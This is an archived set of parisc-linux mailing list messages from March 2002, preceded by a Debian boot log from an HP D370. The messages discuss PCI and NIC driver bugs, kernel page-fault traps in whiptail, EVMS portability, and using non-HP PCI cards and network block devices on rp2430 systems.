NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.

VFS: Mounted root (ext2 filesystem) readonly.

NOT FREEING INITMEM


INIT: version 2.84 booting


Activating swap.

Adding Swap: 499216k swap-space (priority -1)

Checking root file system...

fsck 1.25 (20-Sep-2001)

/dev/sda3: clean, 3091/124928 files, 71844/499224 blocks

System time was Thu Mar  7 17:51:14 UTC 2002.

Setting the System Clock using the Hardware Clock as reference...

System Clock set. System local time is now Thu Mar  7 17:51:09 UTC 2002.

Checking all file systems...

fsck 1.25 (20-Sep-2001)

/dev/sdb1: clean, 17/260096 files, 149034/520187 blocks

/dev/sda4: clean, 10119/132480 files, 33296/264445 blocks

Setting kernel variables.

Loading the saved-state of the serial devices...

Cannot set serial info: Address already in use

/dev/ttyS0 at 0x0000 (irq = 90) is a 16550A

Cannot set serial info: Address already in use

/dev/ttyS1 at 0x0000 (irq = 121) is a 16550A

Mounting local filesystems...

/dev/sda4 on /usr type ext2 (rw)

/dev/sdb1 on /users type ext2 (rw)

Running 0dns-down to make sure resolv.conf is ok...done.

Cleaning: /etc/network/ifstate.

Setting up IP spoofing protection: rp_filter.

Configuring network interfaces: eth0: Transceiver problem.

done.

Starting portmap daemon: portmap.



Setting the System Clock using the Hardware Clock as reference...

System Clock set. Local time: Thu Mar  7 12:51:19 EST 2002



Cleaning: /tmp /var/lock /var/run.

Initializing random number generator... done.

Recovering nvi editor sessions... done.


INIT: Entering runlevel: 2


Starting system log daemon: syslogd.

Starting kernel log daemon: klogd.

Starting NFS common utilities: statd lockd.

Starting mouse interface server: gpm.

Starting internet superserver: inetd.

Starting printer spooler: lpd.

Not starting NFS kernel daemon: No exports.

Starting Samba daemons: nmbd smbd.

Starting deferred execution scheduler: atd.

Starting periodic command scheduler: cron.



Debian GNU/Linux 3.0 HP-D370 ttyS0



HP-D370 login: root

Password:

Last login: Thu Mar  7 10:28:13 2002 on ttyS0

Linux HP-D370 2.4.16-pa29 #1 Sat Dec 29 11:32:07 MST 2001 parisc unknown



Most of the programs included with the Debian GNU/Linux system are

freely redistributable; the exact distribution terms for each program

are described in the individual files in /usr/share/doc/*/copyright



Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

HP-D370:~# ifconfig -a

eth0      Link encap:Ethernet  HWaddr 08:00:09:D2:0C:1E

           inet addr:192.168.42.20  Bcast:192.168.42.255  Mask:255.255.255.0

           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

           RX packets:0 errors:0 dropped:0 overruns:0 frame:0

           TX packets:21 errors:21 dropped:0 overruns:0 carrier:42

           collisions:0 txqueuelen:100

           RX bytes:0 (0.0 b)  TX bytes:2455 (2.3 KiB)

           Interrupt:87 Base address:0x7000 Memory:100c4000-0



lo        Link encap:Local Loopback

           inet addr:127.0.0.1  Mask:255.0.0.0

           UP LOOPBACK RUNNING  MTU:16436  Metric:1

           RX packets:8 errors:0 dropped:0 overruns:0 frame:0

           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0

           collisions:0 txqueuelen:0

           RX bytes:560 (560.0 b)  TX bytes:560 (560.0 b)



HP-D370:~#





From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3515 10/100 NIC
Date: Thu, 07 Mar 2002 14:03:05 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020307210305.C14254871@dsl2.external.hp.com>
References: <Message from Herb Radford <herbr@magma.ca> <5.1.0.14.0.20020307110937.026af020@mail.magma.ca> <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>  <5.1.0.14.0.20020307125054.026b3d40@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621134 4204 80.91.229.3 (22 Nov 2014 01:52:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 14:03:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C14254871; Thu,  7 Mar 2002 14:03:05 -0700 (MST)
In-Reply-To: Message from Herb Radford <herbr@magma.ca> 
   of "Thu, 07 Mar 2002 12:52:46 EST." <5.1.0.14.0.20020307125054.026b3d40@mail.magma.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14264

Herb Radford wrote:
> Well, Grant, that doesn't show much. But here it is:

...
> Dino version 3.x (card mode) found at 0xf1008000
> Dino: Failed to allocate memory region

No - but it showed the problem.
ccio/dino don't seem to be ready to work on
K or D-class.

...
> Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> PCI: Unable to reserve I/O region #1:80@f364d800 for device 00:01.0
> Trying to free nonexistent resource <f364d800-f364d87f>
> Trying to free nonexistent resource <43695000-4369507f>
...

Looks like we discover the PCI device anyway and the
resources get left in a garbage state.

grant



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.1 && hppa (follow ...)
Date: Thu, 7 Mar 2002 23:25:54 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20020307232554.A22831@parcelfarce.linux.theplanet.co.uk>
References: <OF0AD397FF.17ED40BE-ONC1256B75.004D4BB9@com> <jso@europay.com> <20020307170635.4D95C4872@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621134 4205 80.91.229.3 (22 Nov 2014 01:52:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:14 +0000 (UTC)
Cc: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 16:26:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B36074871
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 16:26:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16j7Gk-00065v-00; Thu, 07 Mar 2002 23:25:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020307170635.4D95C4872@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 07, 2002 at 10:06:35AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14265

On Thu, Mar 07, 2002 at 10:06:35AM -0700, Grant Grundler wrote:
> > Humm ... have you an idea why this problem did not appears for this i386 or
> > ppc (the two official supported till now)?
> 
> Dunno. Luck?
> Those arches may not be as sensitive to address space issues.

on x86, it (mostly) works to dereference a userspace address.  on PA it
does not.  On many other architectures, it does not.  Sloppy programming
on the part of the EVMS people.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3515 10/100 NIC
Date: Thu, 7 Mar 2002 23:43:18 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20020307234318.B22831@parcelfarce.linux.theplanet.co.uk>
References: <Message <herbr@magma.ca> <5.1.0.14.0.20020307110937.026af020@mail.magma.ca> <5.1.0.14.0.20020307110937.026af020@mail.magma.ca> <5.1.0.14.0.20020307125054.026b3d40@mail.magma.ca> <herbr@magma.ca> <20020307210305.C14254871@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621135 4207 80.91.229.3 (22 Nov 2014 01:52:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:15 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 16:43:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15C09488C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 16:43:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16j7Xa-0006Os-00; Thu, 07 Mar 2002 23:43:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020307210305.C14254871@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 07, 2002 at 02:03:05PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14266

On Thu, Mar 07, 2002 at 02:03:05PM -0700, Grant Grundler wrote:
> > Dino version 3.x (card mode) found at 0xf1008000
> > Dino: Failed to allocate memory region
> 
> No - but it showed the problem.
> ccio/dino don't seem to be ready to work on
> K or D-class.

If you looked at the version he was running, it was some 2.4.16 release --
we didn't have any support for this card at that time.  Current 2.4.18 is
most of the way towards supporting that.  There's some D/K/R specific bits
to fill in -- see expand_ioc_area() in arch/parisc/kernel/ccio-dma.c.
It's fairly obvious (to me) what kind of thing needs to be done, but
without a machine of this nature of my own to test on, it's difficult
for me to get excited about it :-)

> ...
> > Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> > PCI: Unable to reserve I/O region #1:80@f364d800 for device 00:01.0
> > Trying to free nonexistent resource <f364d800-f364d87f>
> > Trying to free nonexistent resource <43695000-4369507f>
> ...
> 
> Looks like we discover the PCI device anyway and the
> resources get left in a garbage state.

Um, yeah... this is my fault.  I can see the bug, let me try to fix it
(hopefully without breaking anything further...)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] traps in whiptail with apt-get upgrade
Date: Fri, 8 Mar 2002 01:33:11 +0100 (CET)
Lines: 84
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0203080127340.12154-100000@leo.uni-sw.gwdg.de>
References: <006d01c1c482$1e5712a0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621135 4212 80.91.229.3 (22 Nov 2014 01:52:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 17:33:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00D57488F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 17:33:16 -0700 (MST)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.34)
	id 16j8Js-0004xM-00
	for parisc-linux@lists.parisc-linux.org; Fri, 08 Mar 2002 01:33:12 +0100
In-Reply-To: <006d01c1c482$1e5712a0$02c1a8c0@james.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14267

Hi,

I updated the kernel on my 712/60 today using the 32bit precompiled
version 2.4.18-pa3 from the ftp-site. It seems to fix the /dev/lp0
problem for me.

But it still traps with command='whiptail' when I do an apt-get
upgrade. Below are the entries from /var/log/kern.log, before I
Ctrl-C'ed the apt-get.

Greetings,
	Peter.

P.S.: Is it possible to activate autofs or autofs4 in the
precompiled kernel? I hate to compile it myself on that slow 712/60
just for that...


Mar  8 01:29:44 hplinux kernel:
Mar  8 01:29:44 hplinux kernel: do_page_fault() pid=486 command='whiptail' type=15 address=0x0003302c
Mar  8 01:29:44 hplinux kernel: vm_start = 0x00025000, vm_end = 0x00033000
Mar  8 01:29:44 hplinux kernel:
Mar  8 01:29:44 hplinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Mar  8 01:29:44 hplinux kernel: PSW: 00000000000011001111111100001111 Not tainted
Mar  8 01:29:44 hplinux kernel: r00-03  00000000 402d8b68 402d8698 00032f18
Mar  8 01:29:44 hplinux kernel: r04-07  402d8690 402dd190 00000110 00000000
Mar  8 01:29:44 hplinux kernel: r08-11  faf00a50 402d8690 00000000 00000000
Mar  8 01:29:44 hplinux kernel: r12-15  00000000 faf00bcc ffffffff faf00bd0
Mar  8 01:29:44 hplinux kernel: r16-19  faf00bc8 000b9e9c faf00990 402dd190
Mar  8 01:29:44 hplinux kernel: r20-23  00000111 00033028 00000004 402d87a8
Mar  8 01:29:44 hplinux kernel: r24-27  00000200 00000110 00000024 000240b8
Mar  8 01:29:45 hplinux kernel: r28-31  00032f18 00032f18 faf00d80 01fffde1
Mar  8 01:29:45 hplinux kernel: sr0-3   00000000 00000005 00000000 00000005
Mar  8 01:29:45 hplinux kernel: sr4-7   00000005 00000005 00000005 00000005
Mar  8 01:29:45 hplinux kernel:
Mar  8 01:29:45 hplinux kernel: IASQ: 00000005 00000005 IAOQ: 4020e097 4020db5f
Mar  8 01:29:45 hplinux kernel:  IIR: 0ebf1288    ISR: 00000005  IOR: 0003302c
Mar  8 01:29:45 hplinux kernel:  CPU:        0   CR30: 14794000 CR31: 10390000
Mar  8 01:29:45 hplinux kernel:  ORIG_R28: 400c2588
Mar  8 01:29:59 hplinux kernel:
Mar  8 01:29:59 hplinux kernel: do_page_fault() pid=516 command='whiptail' type=15 address=0x00033f2c
Mar  8 01:29:59 hplinux kernel: vm_start = 0x00025000, vm_end = 0x00033000
Mar  8 01:29:59 hplinux kernel:
Mar  8 01:29:59 hplinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Mar  8 01:29:59 hplinux kernel: PSW: 00000000000011001111111100001111 Not tainted
Mar  8 01:29:59 hplinux kernel: r00-03  00000000 402d8b68 402d8698 00032f18
Mar  8 01:29:59 hplinux kernel: r04-07  402d8690 402dd190 00001010 00000002
Mar  8 01:29:59 hplinux kernel: r08-11  faf00b08 402d8690 00025380 00000000
Mar  8 01:29:59 hplinux kernel: r12-15  faf01090 00000002 ffffffff 00000000
Mar  8 01:29:59 hplinux kernel: r16-19  00000000 000b9e9c faf00990 402dd190
Mar  8 01:29:59 hplinux kernel: r20-23  00001011 00033f28 00000122 00000016
Mar  8 01:29:59 hplinux kernel: r24-27  02000000 00001010 00000064 000240b8
Mar  8 01:29:59 hplinux kernel: r28-31  00032f18 00032f18 faf01200 01ffed11
Mar  8 01:29:59 hplinux kernel: sr0-3   00000000 00000001 00000000 00000001
Mar  8 01:29:59 hplinux kernel: sr4-7   00000001 00000001 00000001 00000001
Mar  8 01:29:59 hplinux kernel:
Mar  8 01:30:00 hplinux kernel: IASQ: 00000001 00000001 IAOQ: 4020e097 4020db5f
Mar  8 01:30:00 hplinux kernel:  IIR: 0ebf1288    ISR: 00000001  IOR: 00033f2c
Mar  8 01:30:00 hplinux kernel:  CPU:        0   CR30: 1409c000 CR31: 10390000
Mar  8 01:30:00 hplinux kernel:  ORIG_R28: 402d5da4
Mar  8 01:30:02 hplinux kernel:
Mar  8 01:30:02 hplinux kernel: do_page_fault() pid=523 command='whiptail' type=15 address=0x00033eec
Mar  8 01:30:02 hplinux kernel: vm_start = 0x00025000, vm_end = 0x00033000
Mar  8 01:30:02 hplinux kernel:
Mar  8 01:30:02 hplinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Mar  8 01:30:02 hplinux kernel: PSW: 00000000000011001111111100001111 Not tainted
Mar  8 01:30:02 hplinux kernel: r00-03  00000000 402d8b68 402d8698 00032ed8
Mar  8 01:30:02 hplinux kernel: r04-07  402d8690 402dd190 00001010 00000002
Mar  8 01:30:02 hplinux kernel: r08-11  faf00bc8 402d8690 00025380 00000000
Mar  8 01:30:02 hplinux kernel: r12-15  faf01150 00000002 ffffffff 00000000
Mar  8 01:30:02 hplinux kernel: r16-19  00000000 000b9e9c faf00990 402dd190
Mar  8 01:30:02 hplinux kernel: r20-23  00001011 00033ee8 00000502 00000020
Mar  8 01:30:02 hplinux kernel: r24-27  02000000 00001010 00000064 000240b8
Mar  8 01:30:02 hplinux kernel: r28-31  00032ed8 00032ed8 faf012c0 01ffecc1
Mar  8 01:30:02 hplinux kernel: sr0-3   00000000 00000001 00000000 00000001
Mar  8 01:30:02 hplinux kernel: sr4-7   00000001 00000001 00000001 00000001
Mar  8 01:30:02 hplinux kernel:
Mar  8 01:30:03 hplinux kernel: IASQ: 00000001 00000001 IAOQ: 4020e097 4020db5f
Mar  8 01:30:03 hplinux kernel:  IIR: 0ebf1288    ISR: 00000001  IOR: 00033eec
Mar  8 01:30:03 hplinux kernel:  CPU:        0   CR30: 1409c000 CR31: 10390000
Mar  8 01:30:03 hplinux kernel:  ORIG_R28: 402d5da4




From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 8 Mar 2002 14:51:03 +1100
Lines: 22
Approved: news@gmane.org
Message-ID: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621135 4219 80.91.229.3 (22 Nov 2014 01:52:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 20:51:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E47C4887
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 20:51:11 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP id 9386217FCFE
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 14:52:12 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14268

Hi all,

	I'm considering buying some rp2430s (at last, PA-RISC at the
Right Price, or so it seems), and I want to run Linux on them (they're
just a 'compute cluster')

	I'm wondering: Would I be able to use non-HP PCI cards in these
systems, if they're supported under Linux? In particular, I'm wondering
about 3ware IDE RAID cards (these work in (at least) alpha and x86
linux) and Intel gigabit ethernet NICs (based on the 82554 chip).

	And (no laughter, please) what's the maximum swap partition size
parisc linux supports? Can parisc linux swap over NFS?

	Sorry for the oddball questions,

	Duraid






From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: 08 Mar 2002 13:58:29 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1015592309.2580.37.camel@cube>
References: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621136 4222 80.91.229.3 (22 Nov 2014 01:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 05:59:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001DCC.dip.t-dialin.net [217.0.29.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CD624832
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 05:59:20 -0700 (MST)
Original-Received: from localhost.localdomain (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Fri, 08 Mar 2002 13:59:17 +0100
In-Reply-To: <000301c1c654$78ae35c0$022a17ac@simplex>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14269

> Can parisc linux swap over NFS?

no, swapping over nfs does not work, however, using network block device
should work, and is much faster than nfs.

do do that you need to enable network block device in the client's
kernel, and you need two special userspace tools (debian packages
nbd-server and nbd-client). the nbd-server in debian is broken you
should get the latest upstream version and compile it yourself.

good luck

andi





From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 8 Mar 2002 13:15:09 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20020308131509.D22831@parcelfarce.linux.theplanet.co.uk>
References: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621136 4224 80.91.229.3 (22 Nov 2014 01:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 06:15:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8A804895
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 06:15:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16jKDF-00044D-00; Fri, 08 Mar 2002 13:15:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <000301c1c654$78ae35c0$022a17ac@simplex>; from duraid@fl.net.au on Fri, Mar 08, 2002 at 02:51:03PM +1100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
